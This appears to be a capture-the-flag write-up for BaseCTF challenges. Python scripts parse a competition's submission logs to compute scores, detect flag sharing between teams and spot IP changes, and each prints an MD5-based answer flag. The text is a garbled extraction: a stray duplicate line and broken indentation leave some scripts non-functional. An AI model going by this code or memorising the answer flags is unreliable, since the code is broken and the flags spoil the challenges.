with open("challenges.json", "r") as f:
    challenges = json.load(f)

id2name = {}
id2name_c = {}#从id到题目名映射

FLAG = {}#队伍id，管理一堆map(题目名，对应正确flag)
CHALLENGE = {}#键为题目名，管理每道题题目id以及截至时间，得分
TEAM = {}#flag找关联队伍

for team in teams:#注册所有有效队伍
    if team["Id"] == "235d4de0-51c6-7c03-7ab7-f509079f67d3":#特判一下
        team["Name"] = "#" + team["Name"]
    id2name[team["Id"]] = team["Name"]
    FLAG[team["Name"]] = team
    FLAG[team["Name"]]["flag"] = {}
    FLAG[team["Name"]]["score"] = 0#注册初始分数

for c in challenges:#challenge名字建立映射关系
    id2name_c[c["Id"]] = c["Name"]
    CHALLENGE[c["Name"]] = c

for flag in flags:#为每个队伍注册flag信息
    teamName = id2name[flag["TeamId"]]
    cName = id2name_c[flag["ChallengeId"]]
    FLAG[teamName]["flag"][cName] = flag["Flag"]
    TEAM[flag["Flag"]] = teamName

import time as TiMe
from datetime import datetime

def str2time(s):
    if s.find("T") != -1:#2024-08-31T15:00:00+08:00
        return TiMe.strptime(s[:-6], "%Y-%m-%dT%H:%M:%S")
    else:#2024/8/31 20:19:41 +08:00
        return TiMe.strptime(s, "%Y/%m/%d %H:%M:%S")
```

```

        return Time.strptime(s[:-7], "%Y/%m/%d %H:%M:%S")

def mstr(s,st,ed):
    s = s[s.find(st)+len(st):]
    s = s[:s.find(ed)]
    return s
def getInfo(s):
    if s.find("+08:00") == -1:
        print("？？？你的时区发生啥事")
    time = mstr(s, "[", " INF] ")
    team = mstr(s, "] FlagChecker: 队伍 [", "] 提交题目 ")
    flag = mstr(s, "] 的答案 [", "] <")
    submitter = mstr(s, "] <", ">")
    challenge = mstr(s, "] 提交题目 [", "] 的答案 [")
    return time, team, flag, submitter, challenge

with open("submissions.log", "r", encoding = 'utf8') as f:
    lines = f.readlines()
    for line in lines:
        time, teamName, flag, submitter, challengeName = getInfo(line)
        if teamName == "Terence Barrows" and (submitter == "Mercedes49" or
submitter == "Albert.Considine"):#特判
            teamName = "#" + teamName

            if challengeName in FLAG[teamName]["flag"] and FLAG[teamName]["flag"]
[challengeName] == flag and str2time(time) <= str2time(CHALLENGE[challengeName]
["EndAt"]):
                FLAG[teamName]["score"] += CHALLENGE[challengeName]["Points"]
                del FLAG[teamName]["flag"][challengeName]

    v = []
    for name in FLAG:
        n = name
        s = FLAG[name]["score"]
        if n[0] == '#':
            n = n[1:]

    v.append([n, s])

    v = sorted(v, key = lambda x : (-x[1], x[0]))


FLAG = ""
for n, s in v:
    FLAG += n + "," + str(s) + ";"
print("BaseCTF{" + MD5(FLAG[:-1]) + "}")#BaseCTF{d5b7e83b3a48a64c1c9af03f64b5f023}

```

[8号15点截止] BaseCTF 崩啦 V - 正义执行! [Week3] [Week4]

Terence Barrows罪大恶极 · 又抄别人flag · 又和别人队伍名字取的一样

```
import json
import hashlib

def MD5(data):
    md5 = hashlib.md5() # 创建一个md5对象
    md5.update(data.encode('utf-8')) # 使用utf-8编码更新数据
    return md5.hexdigest() # 返回十六进制的哈希值

with open("teams.json", "r") as f:
    teams = json.load(f)

with open("flags.json", "r") as f:
    flags = json.load(f)

with open("challenges.json", "r") as f:
    challenges = json.load(f)

id2name = {}
id2name_c = {}

FLAG = {}#队伍id · 管理一堆map(题目名)
CHALLENGE = {}#键为题目名
TEAM = {}#flag找关联队伍

vaild = set()#有效队伍
allFlag = set()#flag池 ( 假设不存在两两相同的flag )
print(len(teams))
for team in teams:#注册所有有效队伍
    if team["Id"] == "235d4de0-51c6-7c03-7ab7-f509079f67d3":#特判一下
        team["Name"] = "#" + team["Name"]
    vaild.add(team["Name"])
    id2name[team["Id"]] = team["Name"]
    FLAG[team["Name"]] = team
    FLAG[team["Name"]]["flag"] = {}

for c in challenges:#challenge名字建立映射关系
    id2name_c[c["Id"]] = c["Name"]
    CHALLENGE[c["Name"]] = c

for flag in flags:#为每个队伍注册flag信息
    teamName = id2name[flag["TeamId"]]
    cName = id2name_c[flag["ChallengeId"]]
    FLAG[teamName]["flag"][cName] = flag["Flag"]
    TEAM[flag["Flag"]] = teamName
    if flag["Flag"] in allFlag:#保证flag都是独一无二的
        print("假设错误")
    allFlag.add(flag["Flag"])

def mstr(s,st,ed):
    s = s[s.find(st)+len(st):]
    s = s[:s.find(ed)]
    return s
def getInfo(s):
```

```
team = mstr(s, "] FlagChecker: 队伍 [", "] 提交题目 ")
flag = mstr(s, "] 的答案 [", "] <")
submitter = mstr(s, "] <", ">")
return team, flag, submitter

print("本场报名队伍数 :" + str(len(vaild)))

with open("submissions.log", "r", encoding = 'utf8') as f:
    lines = f.readlines()
    for line in lines:
        teamName, flag, submitter = getInfo(line)
        if teamName == "Terence Barrows" and (submitter == "Mercedes49" or
submitter == "Albert.Considine"):
            teamName = "#" + teamName

        if flag not in allFlag:
            continue
        steal = 1
        for cName in FLAG[teamName]["flag"]:
            flag_ = FLAG[teamName]["flag"][cName]
            if flag_ == flag:
                steal = 0
                break

        if steal == 1:
            if teamName in vaild:
                vaild.remove(teamName)
            if TEAM[flag] in vaild:
                vaild.remove(TEAM[flag])
            if teamName == "Terence Barrows" or TEAM[flag] == "Terence Barrows" or
teamName == "#Terence Barrows" or TEAM[flag] == "#Terence Barrows":
                print(teamName + "提交的flag是" + TEAM[flag] + "的 : " + flag)

print("本场有效队伍数 :" + str(len(vaild)))
v = []
for i in vaild:
    if i[0] == '#':
        i = i[1:]
    v.append(i)

v = sorted(v)
FLAG = ""
for i in v:
    FLAG += i + ","
print("BaseCTF{" + MD5(FLAG[:-1]) + "}")#BaseCTF{716ab8b8782889047bf49f31eb553000}
```

```

3000
本场报名队伍数 : 3000
#Terence Barrows提交的flag是Clare Hintz的 : BaseCTF{953e1e16-d911-12cb-4415-b4fdd5b2b4a2}
Oswald Langosh提交的flag是Terence Barrows的 : BaseCTF{b53d06b9-9db8-c6b3-372d-412aab54df8}
#Terence Barrows提交的flag是Casandra Kutch的 : BaseCTF{8f3302f3-fab4-6b9b-8846-68db8724ff3e}
Terence Barrows提交的flag是Michale Bernier的 : BaseCTF{2e2274da-6e0c-24f4-aec7-81c5994ffee0}
Terence Barrows提交的flag是Yadira Gleason的 : BaseCTF{a111a7a0-2d10-38f4-afa4-cbfa3dd47c74}
Terence Barrows提交的flag是Garett Bailey的 : BaseCTF{ee9065c5-0dd4-79b5-a16b-38f73c759915}
Terence Barrows提交的flag是Misty Altenwerth的 : BaseCTF{84cc50ae-81da-9a42-adda-34fb9b30b303}
Orpha Johns提交的flag是Terence Barrows的 : BaseCTF{83c34f1e-7e42-ae7e-7d60-720375d7b215}
本场有效队伍数 : 23
BaseCTF{716ab8b8782889047bf49f31eb553000}

```

>>>

[8号15点截止] BaseCTF 崩啦 VI - 流量检测? [Week3] [Week4]

```

import json
import hashlib

def MD5(data):
    md5 = hashlib.md5() # 创建一个md5对象
    md5.update(data.encode('utf-8')) # 使用utf-8编码更新数据
    return md5.hexdigest() # 返回十六进制的哈希值

with open("teams.json", "r") as f:
    teams = json.load(f)

with open("flags.json", "r") as f:
    flags = json.load(f)

with open("challenges.json", "r") as f:
    challenges = json.load(f)

id2name = {}
id2name_c = {}#从id到题目名映射

FLAG = {}#队伍id · 管理一堆map(题目名 · 对应正确flag)
CHALLENGE = {}#键为题目名, 管理每道题题目id以及截至时间 · 得分
TEAM = {}#flag找关联队伍

for team in teams:#注册所有有效队伍
    if team["Id"] == "235d4de0-51c6-7c03-7ab7-f509079f67d3":#特判一下
        team["Name"] = "#" + team["Name"]
    id2name[team["Id"]] = team["Name"]
    FLAG[team["Name"]] = team
    FLAG[team["Name"]]["flag"] = {}
    FLAG[team["Name"]]["score"] = 0#注册初始分数
    FLAG[team["Name"]]["member"] = {}#注册成员

for c in challenges:#challenge名字建立映射关系
    id2name_c[c["Id"]] = c["Name"]
    CHALLENGE[c["Name"]] = c

for flag in flags:#为每个队伍注册flag信息
    teamName = id2name[flag["TeamId"]]

```

```
cName = id2name_c[flag["ChallengeId"]]
FLAG[teamName]["flag"][cName] = flag["Flag"]
TEAM[flag["Flag"]] = teamName

import time as TiMe
from datetime import datetime

def str2time(s):
    if s.find("T") != -1:#2024-08-31T15:00:00+08:00
        return TiMe.strptime(s[:-6], "%Y-%m-%dT%H:%M:%S")
    else:#2024/8/31 20:19:41 +08:00
        return TiMe.strptime(s[:-7], "%Y/%m/%d %H:%M:%S")

def mstr(s,st,ed):
    s = s[s.find(st)+len(st):]
    s = s[:s.find(ed)]
    return s
def getInfo(s):
    if s.find("+08:00") == -1:
        print("？？？你的时区发生啥事")
    time = mstr(s, "[", " INF] ")
    team = mstr(s, "] FlagChecker: 队伍 [", "] 提交题目 ")
    flag = mstr(s, "] 的答案 [", "] <")
    submitter = mstr(s, "] <", ">")
    challenge = mstr(s, "] 提交题目 [", "] 的答案 [")
    ip = s[s.find("> @ ") + len("> @ "):]
    return time, team, flag, submitter, challenge, ip

vpn = set()#哪些队开了梯子
with open("submissions.log", "r", encoding = 'utf8') as f:
    lines = f.readlines()
    for line in lines:
        time, teamName, flag, submitter, challengeName, ip = getInfo(line)
        if teamName == "Terence Barrows" and (submitter == "Mercedes49" or
        submitter == "Albert.Considine"):#特判
            teamName = "#" + teamName

        if submitter not in FLAG[teamName]["member"]:
            FLAG[teamName]["member"][submitter] = ip
            continue

        if FLAG[teamName]["member"][submitter] != ip:
            vpn.add(teamName)

v = []
for i in vpn:
    v.append(i)

v = sorted(v)
FLAG = ""
for i in v:
    FLAG += i + ","
print("BaseCTF{" + MD5(FLAG[:-1]) + "}")#BaseCTF{dc45a2a228f503cf00d5218df367a8e}
```

